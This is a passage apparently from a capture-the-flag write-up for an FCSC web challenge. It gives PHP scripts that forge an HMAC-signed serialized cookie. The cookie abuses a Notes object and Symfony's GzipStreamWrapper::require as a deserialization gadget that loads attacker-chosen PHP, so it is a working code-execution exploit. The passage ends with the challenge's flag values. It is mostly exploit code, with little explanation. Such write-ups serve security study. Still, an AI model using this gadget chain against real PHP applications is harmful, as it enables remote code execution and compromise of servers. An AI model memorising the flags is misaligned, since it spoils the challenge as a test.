$notes = new Notes([$note]);

$ser = serialize($notes);
$hmac = hash_hmac('sha256', $ser, $key);
echo base64_encode($ser . $hmac);

gen_require.php

Forges the trigger cookie. Creates a Notes object where $filters['r'] points to GzipStreamWrapper::require and $all_notes contains the path to the gzipped PHP file:

<?php
chdir(__DIR__ . '/secure-mood-notes/src/main_notes_app');
require __DIR__ . '/secure-mood-notes/src/main_notes_app/vendor/autoload.php';

use App\Model\Notes;

$key = $argv[1] ?? 'FCSC{FAKE_FLAG1}';
$php_path = $argv[2] ?? '/var/www/html/public/shared_notes/test/shared.mood.notes';

$notes = new Notes([]);
$notes->filters = ['r' => ['Symfony\Component\Intl\Util\GzipStreamWrapper', 'require']];
$notes->all_notes = [$php_path];

$ser = serialize($notes);
$hmac = hash_hmac('sha256', $ser, $key);
echo base64_encode($ser . $hmac);

Flags

FCSC{9c3c34c030a9d6d8}
FCSC{5c3fa80edf2ea136b4ea966297e56c2639d9d7825371d01858436bcb22ff0426}